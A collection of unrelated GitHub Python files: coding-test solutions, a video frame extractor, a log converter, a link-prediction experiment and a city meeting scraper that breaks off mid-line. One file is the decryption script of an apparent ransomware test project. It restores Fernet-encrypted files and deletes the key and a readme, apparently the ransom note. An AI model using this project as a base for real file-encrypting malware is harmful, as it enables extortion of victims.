{"seq_id":"40498190567","text":"# 2022-03-12\n# SK Famliy FE/App 1차 코딩테스트 1번\n\n\ndef cmpCoin(c1, c2, costs):\n    coins = [1, 5, 10, 50, 100, 500]\n\n    if costs[c1] * (coins[c2] // coins[c1]) < costs[c2]:\n        return c1\n    else:\n        return c2\n\n\ndef selectCoin(costs):\n    result = [-1] * 6\n\n    result[0] = 0  # 1원은 1원동전쓰기\n    result[1] = cmpCoin(0, 1, costs)  # 1원5개, 5원1개 중에 고르기\n\n    for i in range(2, 6):\n        result[i] = cmpCoin(result[i - 1], i, costs)\n\n    return result\n\n\ndef solution(money, costs):\n    answer = 0\n    result = selectCoin(costs)\n\n    coins = [1, 5, 10, 50, 100, 500]\n\n    for c in range(len(costs)):\n        m = money // coins[len(costs) - 1 - c]\n        need = coins[len(costs) - 1 - c] // coins[result[len(costs) - 1 - c]]\n        answer += m * need * costs[result[len(costs) - 1 - c]]\n        money -= m * coins[len(costs) - 1 - c]\n    return answer\n\n\nprint(solution(4578, [1, 4, 99, 35, 50, 1000]))\n","repo_name":"cheonyeji/algorithm_study","sub_path":"각종기출/sk_1.py","file_name":"sk_1.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"22886938107","text":"import cv2\nimport os\n\n\ndef get_frames(vdo_file_path, frame_count=0):\n    vdo = cv2.VideoCapture(vdo_file_path)\n    i = 0\n    frame_skip = 30\n    frame_count = frame_count\n    while vdo.isOpened():\n        ret, frame = vdo.read()\n        if not ret:\n            break\n        if i > (frame_skip-1):\n            frame_count += 1\n            cv2.imwrite('./frames/' + 'frame_'+str(frame_count)+'.jpg', frame)\n            i = 0\n            continue\n        i += 1\n    vdo.release()\n    cv2.destroyAllWindows()\n    return frame_count\n\nif __name__=='__main__':\n    vdos_path = './vdos'\n    file_names = os.listdir(vdos_path)\n    frame_count = 0\n    #total_frames = 0\n    #print(len(file_names), file_names)\n    for file_name in file_names:\n        vdo_file_path = os.path.join(vdos_path, file_name)\n        #print(vdo_file_path)\n        frame_count = get_frames(vdo_file_path=vdo_file_path, frame_count=frame_count)\n        #total_frames += frame_count\n        print(frame_count)\n    #print(total_frames)\n\n    \"\"\" vdo_file_path = 'D:\\\\dataset\\\\rod data\\\\japan data\\\\vdo\\\\clips\\\\lot1.mp4'\n    frame_count = get_frames(vdo_file_path=vdo_file_path, frame_count=frame_count)\n    print(frame_count) \"\"\"\n\n\n\"\"\" video = cv2.VideoCapture(vdo_path)\ncount = 0\nwhile(video.isOpened()):\n    ret , frame = video.read()\n    if ret == False:\n        break\n\n    count += 1\n    cv2.imwrite('./frames/frame_'+str(count)+'.jpg', frame)\n\n    #cv2.namedWindow('video',cv2.WINDOW_NORMAL)\n    #cv2.imshow('video',frame)   \n\n    k=cv2.waitKey(1) & 0xFF\n    if k==27:\n        break\nvideo.release()\ncv2.destroyAllWindows() \"\"\"","repo_name":"mausam-office/Driver-Monitoring-System","sub_path":"capturing_video_frames.py","file_name":"capturing_video_frames.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"20377910546","text":"#written in python 3.0\n#author : Ogechi Onuoha\n#Description: sign a policy document \n\nimport base64\nimport hmac, hashlib\n\npolicy_document = b'''{\"expiration\": \"2009-01-01T00:00:00Z\",\n  \"conditions\": [ \n    {\"bucket\": \"syllabibkt\"}, \n    [\"starts-with\", \"$key\", \"syllabi/\"],\n    {\"acl\": \"private\"},\n    {\"success_action_redirect\": \"http://localhost/\"},\n    [\"starts-with\", \"$Content-Type\", \"\"]    \n  ]\n}'''\n\npolicy = base64.b64encode(policy_document)\n\nsecretkey = b'<enter_key_here>'\n\nsignature = base64.b64encode(hmac.new(secretkey, policy, hashlib.sha1).digest())\n\nprint(policy)\nprint(signature)\n","repo_name":"uloma07/snippets","sub_path":"python/sign_policy_document.py","file_name":"sign_policy_document.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"37635637757","text":"import subprocess\r\nimport os\r\nfrom cryptography.fernet import Fernet\r\n\r\ndirectory_name = \"ransomware test_folder\"\r\ndir_files = os.listdir(\"ransomware test_folder\")\r\n\r\nwith open(\"key.key\", \"rb\") as key_file:\r\n    decryption_key = key_file.read()\r\nkey = Fernet(decryption_key)\r\n\r\nwith open(\"metadata.mm\", \"rb\") as metafile:\r\n    encr_meta = metafile.read()\r\n    decr_meta = key.decrypt(encr_meta)\r\n\r\nwith open(\"metadata.txt\", \"wb\") as metafile:\r\n    metafile.write(decr_meta)\r\n    os.remove(\"metadata.mm\")\r\n\r\nwith open(\"metadata.txt\", \"r\") as metafile:\r\n    metadata = metafile.readlines()\r\n\r\nextensions = []\r\nfor meta in metadata:\r\n    file_name = meta.split(\",\")[0]\r\n    file_ext = meta.split(\",\")[1]\r\n    extensions.append((file_name, file_ext.strip()))\r\n\r\nfor index, file in enumerate(dir_files):\r\n    file_name = os.path.splitext(file)[0]\r\n    existing_path = os.path.join(directory_name, file)\r\n    new_file = file_name + str(extensions[index][1])\r\n    new_file_path = os.path.join(directory_name, new_file)\r\n    with open(existing_path, \"rb\") as encrypted_file:\r\n        encrypted_data = encrypted_file.read()\r\n        decrypted_data = key.decrypt(encrypted_data)\r\n    with open(new_file_path, \"wb\") as decrypted_file:\r\n        decrypted_file.write(decrypted_data)\r\n    os.remove(existing_path)\r\n\r\nos.remove(\"metadata.txt\")\r\nos.remove(\"key.key\")\r\nos.remove(\"Readme.txt\")","repo_name":"EncryptedAssassin/Cybersecurity-","sub_path":"Ransomware/decryption_script.py","file_name":"decryption_script.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"22888770073","text":"#!/usr/bin/env python\n\n\"\"\"\n\nconvert.py\n\nThis file is going to make some checks and utilise evtx_dump.py to convert\nall evtx files in the evtx_logs folder from evtx to xml.\n\n\"\"\"\n\nimport os\nimport sys\nfrom datetime import datetime\nfrom time import process_time\n\nfrom evtx_dump import xml_converter\nfrom console_logger import LOGFILE_PATH, EVTX_LOGS_PATH\n\n\ndef is_logfile_exist():\n    #  Logfile Check\n    check = os.path.exists(LOGFILE_PATH)\n    if check:\n        return True\n    else:\n        return False\n\ndef create_logfile_directory():\n    os.mkdir(LOGFILE_PATH)\n\ndef check_xml_files(path=EVTX_LOGS_PATH):\n    # Check if any .xml file exists in the directories\n    xml_files = []\n    for root, _, files in os.walk(path):\n        for file in files:\n            if \".xml\" in file:\n                file_path = os.path.join(root, file)\n                xml_files.append(file_path)\n    return xml_files\n\ndef delete_xml_files(xml_files):\n    for xml_file in xml_files:\n        os.remove(xml_file)\n\ndef read_evtx_files(progress_bar, logger_obj):\n    startTime = process_time()\n    # Count folders and files\n    folder_counter = sum([len(folder) for p, folder, f in os.walk(EVTX_LOGS_PATH)])\n    file_counter = sum([len(files) for r, d, files in os.walk(EVTX_LOGS_PATH)])\n    \n    c = 1\n    folders = [f for f in os.scandir(EVTX_LOGS_PATH) if f.is_dir()]\n    for counter, folder in enumerate(folders, 1):\n        logger_obj.logtofile(message=\"{}: Working in the {} folder:\".format(counter, folder.name))\n        files = [f for f in os.scandir(folder.path)]\n        for file in files:\n            logger_obj.logtofile(message=\"Convert {} from evtx to xml format, started...\".format(file.name))\n            xml_converter(file.path)\n            logger_obj.logtofile(message=\"Converted successfully!\")\n            \n            progress_bar.display_message(message=file.name)\n            progress_bar.progress(c)\n            c += 1\n        logger_obj.logtofile(message='')\n\n    # Print summary\n    logger_obj.logtofile(message=\"SUMMARY OF CONVERSION PROCESS!\")\n    logger_obj.logtofile(message=\"Folder Count: {}\".format(folder_counter))\n    logger_obj.logtofile(message=\"File Count: {}\".format(file_counter))\n    runningTime = process_time() - startTime\n    logger_obj.logtofile(message=\"The time to complete this conversion was: {}\".format(runningTime))\n\n","repo_name":"tlherysr/log-analyzer-with-ui","sub_path":"console/console_convert.py","file_name":"console_convert.py","file_ext":"py","file_size_in_byte":2345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"27797116154","text":"people =[{\"name\": \"Harry\", \"house\": \"Gryffindor\"},\n        {\"name\": \"Cho\", \"house\": \"Ravenclaw\"},\n        {\"name\": \"Draco\", \"house\": \"Slytherin\"}\n        ]\n# the long way to order dict to dict\n#def f(person):\n#    return person[\"house\"]\n\npeople.sort(key=lambda person: person[\"name\"]) # the shortcut to do the same as the previous function\n\nprint(people)","repo_name":"Treymor1/Python-git-fundamentals","sub_path":"lambda.py","file_name":"lambda.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"3267979870","text":"import pytest\nimport yaml\n\nimport calculator\n\n\n# conftest.py文件放在项目下全局数据共享的地方，最好是放在项目根目录下\n# 一般来说，conftest.py一般用来存放项目中的fixture方法\n# conftest.py文件名字一定不能更换\n# conftest.py文件就近生效（即如果在不同文件夹下，采取就近调用原则）\n@pytest.fixture()\ndef fixtureStart():\n    print(\"开始正向计算\")\n    # 在pytest当中，相当于激活了fixture的teardown操作，在yield后面的操作步骤，将被认为是teardown操作，\n    # yield相当于return，能够返回数据，同时记录了上一次的执行位置，下一次继续执行\n    cal = calculator.calculator()\n    yield cal\n    print(\"正向计算结束\")\n\n\ndef getTestData():\n    with open('../testData/testData1.yml') as data:\n        data1 = yaml.safe_load(data)\n        return data1\n\n\n@pytest.fixture(params=getTestData())\ndef get_data(request):\n    return request.param\n","repo_name":"Mantissix/pytestPractice","sub_path":"practice/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"74700265102","text":"import tensorflow as tf\n#Collect 2 numbers by input prompt\nnum1 = int(input(\"n1 = \"))\nnum2 = int(input(\"n2 = \"))\n\n#Establish two tensors, one for each input number\nnum1 = tf.Variable(num1)\nnum2 = tf.Variable(num2)\n\n#Establish graph\nsum = tf.add(num1, num2)\n\n#This show information about sum but doesnt evaluate anything yet\nprint(\"sum =\" + str(sum))\n\n#instantiate a global varible initializer \nglobalVariableInitializer = tf.global_variables_initializer()\n\n#Finally we run the graph (in a session)\nwith tf.Session() as session:\n    globalVariableInitializer.run()\n    result = sum.eval()\n#Here ends the with block\n\n#Show the result\nprint(\"Result = \" + str(result))\n\n","repo_name":"buhowo/IA","sub_path":"TensorFlow/numbers by TensorFlow.py","file_name":"numbers by TensorFlow.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"19414387446","text":"from collections import defaultdict\n\ndef part1(l):\n    s = sorted(l)\n    s = [0] + s + [s[-1] + 3]\n    diffs = defaultdict(int)\n    for i, j in zip(s[:-1], s[1:]):\n        diffs[j - i] += 1\n    return diffs[1] * diffs[3]\n\n\ndef part2(l):\n    s = sorted(l)\n    s = [0] + s + [s[-1] + 3]\n    counts = defaultdict(int, {0: 1})\n    for i in s[1:]:\n        # number of ways to get to adapter i =\n        # all the ways to get to adapters (i - 3), (i - 2), (i - 1) then to adapter i\n        counts[i] = counts[i - 3] + counts[i - 2] + counts[i - 1]\n    return counts[s[-1]]\n\nif __name__ == '__main__':\n    with open('input.txt', 'r') as f:\n        l = list(map(int, f.readlines()))\n    print(\"Part 1:\", part1(l))\n    print(\"Part 2:\", part2(l))\n","repo_name":"nhtsai/advent-of-code","sub_path":"2020/10/10.py","file_name":"10.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"22082940228","text":"import sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport pdb\nimport xlsxwriter\n\nfrom scipy.sparse import coo_matrix\nfrom math import log\nfrom sklearn.metrics import roc_auc_score, roc_curve, auc\nfrom sklearn.metrics import precision_recall_curve,average_precision_score\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom PyNetSim import PyNetSim\nfrom random import randint\n\nnp.set_printoptions(threshold=sys.maxint)\nSIZE = 41\nK = 160\n\"\"\"make a checkpoint for time slice\n\n:param step the step of each snapshot\n:param row each row of the mataData and it looks like\n        node1, node2, linkstart, linkend, connect time, totally connected time\n\n\"\"\"\n\n\ndef time_slicer(steps, min_time, max_time):\n    # how many snapshot we are going to have\n    looper = (max_time - min_time)/steps\n    checkpoints = [set([min_time + steps * l, min_time + steps * (l+1)]) for l in range(0, looper)]\n    return checkpoints\n\n\n\"\"\"\n    Weight cacluation\n\"\"\"\n\n\ndef link_weight(duration, k):\n    return np.exp(duration/k)\n\n\n\"Generate spare martix\"\n\"\"\"\nOne thing must remember is that node pair in the data has connected, so we don't need\nworried about take node pair without connected into account.\n\"\"\"\n\n\ndef weighted_spare_martix_generator(slice_start, slice_end, mataData):\n    row = []\n    col = []\n    data = []\n    k = K\n    for i in mataData:\n        duration = (i[3] if i[3] < slice_end else slice_end) - (i[2] if i[2] > slice_start else slice_start)\n        #pdb.set_trace()\n        # sum weight up if we already have that data\n        if (i[0]-1) in row and col[row.index(int(i[0]-1))] == i[1]:\n            data[row.index(int(i[0]-1))] += link_weight(duration, k)\n        else:\n            row.append(i[0]-1)\n            col.append(i[1]-1)\n            data.append(link_weight(duration, k))\n\n    m = coo_matrix((data, (row, col)), shape=(SIZE, SIZE))\n    return m\n\n\ndef spare_martix_generator(slice_start, slice_end, mataData):\n    row = []\n    col = []\n    data = []\n    k = K\n    for i in mataData:\n        if (i[2] >= slice_start and i[3] <= slice_end or\n            i[2] <= slice_start and i[2] >= slice_start or\n            i[3] <= slice_end and i[3] >= slice_end):\n            if i[0] in row and col[row.index(i[0])] == i[1]:\n                pass\n            else:\n                row.append(i[0]-1)\n                col.append(i[1]-1)\n                data.append(1)\n    m = coo_matrix((data, (row, col)), shape=(SIZE, SIZE))\n    return m\n\n\n\"\"\"\"\n    Caculate AUC\n\"\"\"\ndef calculate_auc(csrMatrix ,simScore, sample_time = 100000):\n    slots = []\n\n    for i in range(0, sample_time):\n        tempr = randint(0,SIZE-1)\n        tempc = randint(0,SIZE-1)\n        if tempc != tempr:\n            slots.append([tempr, tempc])\n    samples = np.array([csMatrix[slot[0], slot[1]] for slot in slots])\n    score = np.array([simScore[slot[0], slot[1]] for slot in slots])\n\n    return roc_auc_score(samples, score)\n\n\"\"\"\"\n    plot roc\n\"\"\"\ndef calculate_roc(csrMatrix ,simScore, sample_time = 100000):\n    slots = []\n\n    for i in range(0, sample_time):\n        tempr = randint(0,SIZE-1)\n        tempc = randint(0,SIZE-1)\n        if tempc != tempr:\n            slots.append([tempr, tempc])\n\n    samples = np.array([csMatrix[slot[0], slot[1]] for slot in slots])\n    score = np.array([simScore[slot[0], slot[1]] for slot in slots])\n    pdb.set_trace()\n    return roc_curve(samples, score)\n\n\"\"\"\"\n    Caculate pre recall\n\"\"\"\ndef calculate_pre_recall(csrMatrix ,simScore, sample_time = 100000):\n    slots = []\n    for i in range(0, sample_time):\n        tempr = randint(0,SIZE-1)\n        tempc = randint(0,SIZE-1)\n        if tempc != tempr:\n            slots.append([tempr, tempc])\n    samples = np.array([csMatrix[slot[0], slot[1]] for slot in slots])\n    score = np.array([simScore[slot[0], slot[1]] for slot in slots])\n\n    return precision_recall_curve(samples, score), average_precision_score(samples, score)\n\n\n\"\"\"\n    Caculate cosin simiary\n\"\"\"\ndef calculate_cosin_simiary(adj_martix, wadj_martix):\n    cosi_matrix = np.zeros((SIZE,SIZE))\n    G=nx.from_numpy_matrix(adj_martix)\n    for i in range(0, adj_martix.shape[0]):\n        for j in range(i+1, adj_martix.shape[0]):\n            # get a list cn of (i,j)\n            cnlist = sorted(nx.common_neighbors(G, i, j))\n            if len(cnlist) > 0:\n                listi = [[wadj_martix[i, c] for c in cnlist]]\n                listj = [[wadj_martix[j, c] for c in cnlist]]\n                cosim = cosine_similarity(listi, listj)\n                cosi_matrix[i,j] = cosim[0][0]\n                cosi_matrix[j,i] = cosim[0][0]\n    return cosi_matrix\n\n\n\"\"\"\n    Caculate cosin simiary with IDF\n\"\"\"\ndef calculate_cosin_idf_simiary(adj_martix, wadj_martix):\n    cosi_matrix = np.zeros((SIZE,SIZE))\n    G=nx.from_numpy_matrix(adj_martix)\n    for i in range(0, adj_martix.shape[0]):\n        for j in range(i+1, adj_martix.shape[0]):\n            # get a list cn of (i,j)\n            cnlist = sorted(nx.common_neighbors(G, i, j))\n            if len(cnlist) > 0:\n                listi = [[wadj_martix[i, c] for c in cnlist]]\n                listj = [[wadj_martix[j, c] for c in cnlist]]\n                cosim = cosine_similarity(listi, listj)\n                cosi_matrix[i,j] = cosim[0][0]\n    return cosi_matrix\n\nif __name__ == \"__main__\":\n    mataData = np.genfromtxt(\"../MSNs data/INFOCOM06.txt\")\n\n    # time range of the dataset\n    t_min = min(mataData[:, 2])\n    t_max = max(mataData[:, 3])\n    time_range = t_max - t_min\n\n    # generate spare martix\n    spare_martix = spare_martix_generator(t_min, t_min + 50000, mataData)\n    weighted_spare_martix = weighted_spare_martix_generator(t_min, t_min + 50000, mataData)\n\n    # Load martix\n    csMatrix = spare_martix.tocsr()\n    adj_martix = spare_martix.todense()\n    wadj_martix = weighted_spare_martix.todense()\n    csMatrix[csMatrix > 0] = 1\n    adj_martix[adj_martix > 0] = 1\n\n    NetSim = PyNetSim.PyNetSim()\n    NetSim.ReadDataFromAdjacencyMatrix(adj_martix)\n    WNetSim = PyNetSim.PyNetSim()\n    WNetSim.ReadDataFromAdjacencyMatrix(wadj_martix)\n\n    \"\"\"\n        Cacluate similarity\n    \"\"\"\n    cosins = calculate_cosin_simiary(adj_martix, wadj_martix)\n    precision = dict()\n    recall = dict()\n    ave_pre = dict()\n    # katz_pre with unweigthed\n    katz_martix = NetSim.Katz(lamda=0.1)\n    temp, ave_pre[\"katz\"] = calculate_pre_recall(csMatrix, katz_martix)\n    precision[\"katz\"], recall[\"katz\"], _ = temp\n\n    # lp_pre with unweigthed\n    LP_martix = NetSim.LocalPathIndex(lamda=0.1)\n    temp, ave_pre[\"lp\"] = calculate_pre_recall(csMatrix, LP_martix)\n    precision[\"lp\"], recall[\"lp\"], _ = temp\n\n    # CN_pre with unweighted\n    CN_martix = NetSim.CommonNeighbor()\n    temp, ave_pre[\"cn\"] = calculate_pre_recall(csMatrix, CN_martix)\n    precision[\"cn\"], recall[\"cn\"], _ = temp\n\n    # AA_pre with unweighted\n    AA_martix = NetSim.AdamicAdarIndex()\n    temp, ave_pre[\"aa\"] = calculate_pre_recall(csMatrix, AA_martix)\n    precision[\"aa\"], recall[\"aa\"], _ = temp\n\n    # wkatz_pre with weighted\n    Wkatz_martix = WNetSim.Katz(lamda=0.1)\n    temp, ave_pre[\"wkatz\"] = calculate_pre_recall(csMatrix, Wkatz_martix)\n    precision[\"wkatz\"], recall[\"wkatz\"], _ = temp\n\n    # wlp_pre with weighted\n    Wlp_martix = WNetSim.LocalPathIndex(lamda=0.1)\n    temp, ave_pre[\"wlp\"] = calculate_pre_recall(csMatrix, Wlp_martix)\n    precision[\"wlp\"], recall[\"wlp\"], _ = temp\n\n    # cosine sim\n    temp, ave_pre[\"cosins\"] = calculate_pre_recall(csMatrix, cosins)\n    precision[\"cosins\"], recall[\"cosins\"], _ = temp\n\n\n    \"\"\"\n        Plot data\n    \"\"\"\n    lw = 2\n    # Plot Precision-Recall curve for each class\n    plt.clf()\n    plt.plot(recall[\"katz\"], precision[\"katz\"], color=\"navy\", lw=lw,\n             label='Precision-recall curve of class katz (area = {0:0.2f})'\n                   ''.format(ave_pre[\"katz\"]))\n    plt.plot(recall[\"lp\"], precision[\"lp\"], color=\"turquoise\", lw=lw,\n             label='Precision-recall curve of class lp (area = {0:0.2f})'\n                   ''.format(ave_pre[\"lp\"]))\n    plt.plot(recall[\"aa\"], precision[\"aa\"], color=\"darkorange\", lw=lw,\n             label='Precision-recall curve of class aa (area = {0:0.2f})'\n                   ''.format(ave_pre[\"aa\"]))\n    plt.plot(recall[\"cn\"], precision[\"cn\"], color=\"teal\", lw=lw,\n             label='Precision-recall curve of class cn (area = {0:0.2f})'\n                   ''.format(ave_pre[\"cn\"]))\n    plt.plot(recall[\"wkatz\"], precision[\"wkatz\"], color=\"r\", lw=lw,\n             label='Precision-recall curve of class wkatz (area = {0:0.2f})'\n                   ''.format(ave_pre[\"wkatz\"]))\n    plt.plot(recall[\"wlp\"], precision[\"wlp\"], color=\"k\", lw=lw,\n             label='Precision-recall curve of class wlp (area = {0:0.2f})'\n                   ''.format(ave_pre[\"wlp\"]))\n    plt.plot(recall[\"cosins\"], precision[\"cosins\"], color=\"purple\", lw=lw,\n             label='Precision-recall curve of class cosins (area = {0:0.2f})'\n                   ''.format(ave_pre[\"cosins\"]))\n    plt.xlim([0.0, 1.0])\n    plt.ylim([0.0, 1.05])\n    plt.xlabel('Recall')\n    plt.ylabel('Precision')\n    plt.title('Extension of Precision-Recall curve to multi-class')\n    plt.legend(loc=\"lower right\")\n    plt.show()\n\n    fpr = dict()\n    tpr = dict()\n    roc_auc = dict()\n\n    # katz_roc with unweigthed\n    katz_martix = NetSim.Katz(lamda=0.1)\n    fpr[\"katz\"], tpr[\"katz\"], _ = calculate_roc(csMatrix, katz_martix)\n    roc_auc[\"katz\"] = auc(fpr[\"katz\"], tpr[\"katz\"])\n\n    # ip_roc with unweigthed\n    LP_martix = NetSim.LocalPathIndex(lamda=0.1)\n    fpr[\"lp\"], tpr[\"lp\"], _ = calculate_roc(csMatrix, LP_martix)\n    roc_auc[\"lp\"] = auc(fpr[\"lp\"], tpr[\"lp\"])\n\n    # CN_roc with unweighted\n    CN_martix = NetSim.CommonNeighbor()\n    fpr[\"cn\"], tpr[\"cn\"], _ = calculate_roc(csMatrix, CN_martix)\n    roc_auc[\"cn\"] = auc(fpr[\"cn\"], tpr[\"cn\"])\n\n    # AA_roc with unweighted\n    AA_martix = NetSim.AdamicAdarIndex()\n    fpr[\"aa\"], tpr[\"aa\"], _ = calculate_roc(csMatrix, AA_martix)\n    roc_auc[\"aa\"] = auc(fpr[\"aa\"], tpr[\"aa\"])\n\n    # katz_roc with weighted\n    Wkatz_martix = WNetSim.Katz(lamda=0.1)\n    fpr[\"wkatz\"], tpr[\"wkatz\"], _ = calculate_roc(csMatrix, Wkatz_martix)\n    roc_auc[\"wkatz\"] = auc(fpr[\"wkatz\"], tpr[\"wkatz\"])\n\n    # lp_roc with weighted\n    Wlp_martix = WNetSim.LocalPathIndex(lamda=0.1)\n    fpr[\"wlp\"], tpr[\"wlp\"], _ = calculate_roc(csMatrix, Wlp_martix)\n    roc_auc[\"wlp\"] = auc(fpr[\"wlp\"], tpr[\"wlp\"])\n\n    # cosins\n    fpr[\"cosins\"], tpr[\"cosins\"], _ = calculate_roc(csMatrix, Wlp_martix)\n    roc_auc[\"cosins\"] = auc(fpr[\"cosins\"], tpr[\"cosins\"])\n\n    # plot roc\n    plt.figure()\n    lw = 2\n    plt.plot(fpr[\"katz\"], tpr[\"katz\"], color='darkorange',\n             lw=lw, label='katz ROC curve (area = %0.2f)' % roc_auc[\"katz\"])\n    plt.plot(fpr[\"lp\"], tpr[\"lp\"], color='g',\n             lw=lw, label='lp ROC curve (area = %0.2f)' % roc_auc[\"lp\"])\n    plt.plot(fpr[\"cn\"], tpr[\"cn\"], color='y',\n             lw=lw, label='cn ROC curve (area = %0.2f)' % roc_auc[\"cn\"])\n    plt.plot(fpr[\"aa\"], tpr[\"aa\"], color='b',\n             lw=lw, label='aa ROC curve (area = %0.2f)' % roc_auc[\"aa\"])\n    plt.plot(fpr[\"wkatz\"], tpr[\"wkatz\"], color='k',\n             lw=lw, label='wkatz ROC curve (area = %0.2f)' % roc_auc[\"wkatz\"])\n    plt.plot(fpr[\"wlp\"], tpr[\"wlp\"], color='r',\n             lw=lw, label='wlp ROC curve (area = %0.2f)' % roc_auc[\"wlp\"])\n\n    plt.plot(fpr[\"cosins\"], tpr[\"cosins\"], color='purple',\n             lw=lw, label='cosins ROC curve (area = %0.2f)' % roc_auc[\"cosins\"])\n    plt.plot([0, 1], [0, 1], color='navy', lw=lw, linestyle='--')\n    plt.xlim([0.0, 1.0])\n    plt.ylim([0.0, 1.05])\n    plt.xlabel('False Positive Rate')\n    plt.ylabel('True Positive Rate')\n    plt.title('Receiver operating characteristic example')\n    plt.legend(loc=\"lower right\")\n    plt.show()","repo_name":"MikeLing/multislice-network","sub_path":"experiment/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"24826608414","text":"#coding:utf-8\ndef get_info(path):\n    info={}\n    config=open(path)\n    for line in config:\n        result=[ele.strip() for ele in line.split('=')]\n        info.update(dict([result]))\n    return info\n\n\n\nif __name__=='__main__':\n    info=get_info(r'./data.log')\n    print(info)\n","repo_name":"nebofeng/python-study","sub_path":"python-selenium/getdata.py","file_name":"getdata.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"28172793482","text":"# Question Link\n# https://leetcode.com/problems/add-strings/\n\n# Description\n'''\nGiven two non-negative integers, num1 and num2 represented as string, return the sum of num1 and num2 as a string.\n\nYou must solve the problem without using any built-in library for handling large integers (such as BigInteger). You must also not convert the inputs to integers directly.\n'''\n\nclass Solution:\n    \n    def addStrings(self, num1: str, num2: str) -> str:\n        output = \"\"\n        i = len(num1)-1\n        j = len(num2)-1\n        carry = 0\n        while i >=0 or j >=0:\n            dig1,dig2 = 0 , 0\n            if i >=0:\n                dig1 = ord(num1[i]) - 48\n                i-=1\n            if j >=0 :\n                dig2 = ord(num2[j]) - 48\n                j-=1\n                \n            sum = dig1+dig2 + carry\n            if sum >9:\n                carry =1\n            else:\n                carry = 0\n            output += str(sum % 10)\n        if carry > 0 :\n            output +=str(carry)\n\n\n        output = output[::-1]\n        return  output","repo_name":"Nawarrr/leetcode","sub_path":"Problems/(415) Add Strings.py","file_name":"(415) Add Strings.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"10815638424","text":"import re\nfrom datetime import datetime, time\n\nimport scrapy\nfrom city_scrapers_core.constants import COMMISSION\nfrom city_scrapers_core.items import Meeting\nfrom city_scrapers_core.spiders import CityScrapersSpider\n\n\nclass ChiSsa42Spider(CityScrapersSpider):\n    name = \"chi_ssa_42\"\n    agency = \"Chicago Special Service Area #42 71st St/Stony Island\"\n    timezone = \"America/Chicago\"\n    start_urls = [\"https://ssa42.org/ssa-42-meeting-dates/\"]\n    location = {\n        \"name\": \"\",\n        \"address\": \"1750 E 71st St Chicago, IL 60649\",\n    }\n\n    def parse(self, response):\n        \"\"\"\n        `parse` should always `yield` Meeting items.\n\n        Change the `_parse_title`, `_parse_start`, etc methods to fit your scraping\n        needs.\n        \"\"\"\n        for meeting in self._parse_meetings(response, upcoming=True):\n            yield meeting\n\n        yield scrapy.Request(\n            \"https://ssa42.org/minutes-of-meetings/\",\n            callback=self._parse_meetings,\n        )\n\n    def _parse_meetings(self, response, upcoming=False):\n        \"\"\"Parse meetings on upcoming and minutes pages\"\"\"\n        today = datetime.now().replace(hour=0, minute=0)\n        last_year = today.replace(year=today.year - 1)\n        for item in response.css(\"article.entry p\"):\n            text = item.xpath(\"./text()\").extract_first()\n            if not re.match(r\".*day, .*\\d{4}\", text or \"\"):\n                continue\n            start = self._parse_start(text)\n            if (\n                not start\n                or (upcoming and start < today)\n                or (\n                    start < last_year\n                    and not self.settings.getbool(\"CITY_SCRAPERS_ARCHIVE\")\n                )\n            ):\n                continue\n            meeting = Meeting(\n                title=self._parse_title(text),\n                description=\"\",\n                classification=COMMISSION,\n                start=start,\n                end=None,\n                time_notes=\"\",\n                all_day=False,\n                location=self.location,\n                links=self._parse_links(item),\n                source=response.url,\n            )\n            meeting[\"status\"] = self._get_status(meeting, text=text)\n            meeting[\"id\"] = self._get_id(meeting)\n            yield meeting\n\n    def _parse_title(self, text):\n        \"\"\"Parse or generate meeting title.\"\"\"\n        name = \"SSA #42 Commission\"\n        if \"closed\" in text.lower():\n            return \"{} - Closed Meeting\".format(name)\n        return name\n\n    def _parse_start(self, text):\n        \"\"\"\n        Parse start date and time.\n        \"\"\"\n        date_match = re.search(r\"[a-zA-Z]{3,9} \\d{1,2}([a-z,]{1,3})? \\d{4}\", text)\n        time_match = re.search(r\"\\d{1,2}:\\d{2}[ pam\\.]{2,5}\", text)\n        if date_match:\n            try:\n                date_str = re.sub(\n                    r\"(?<=\\d)[a-z]{2}\",\n                    \"\",\n                    date_match.group().replace(\",\", \"\"),\n                )\n                dt = datetime.strptime(date_str, \"%B %d %Y\").date()\n            except ValueError:\n                dt = None\n        if time_match:\n            time_str = time_match.group().replace(\".\", \"\").replace(\" \", \"\")\n            tm = datetime.strptime(time_str, \"%I:%M%p\").time()\n        else:\n            tm = time(10)\n        if dt:\n            return datetime.combine(dt, tm)\n\n    def _parse_links(self, item):\n        \"\"\"Parse or generate links.\"\"\"\n        docs = []\n        for doc in item.css(\"a\"):\n            doc_text = doc.xpath(\"./text()\").extract_first()\n            if \"agenda\" in doc_text.lower():\n                doc_note = \"Agenda\"\n            elif \"minutes\" in doc_text.lower():\n                doc_note = \"Minutes\"\n            else:\n                doc_note = 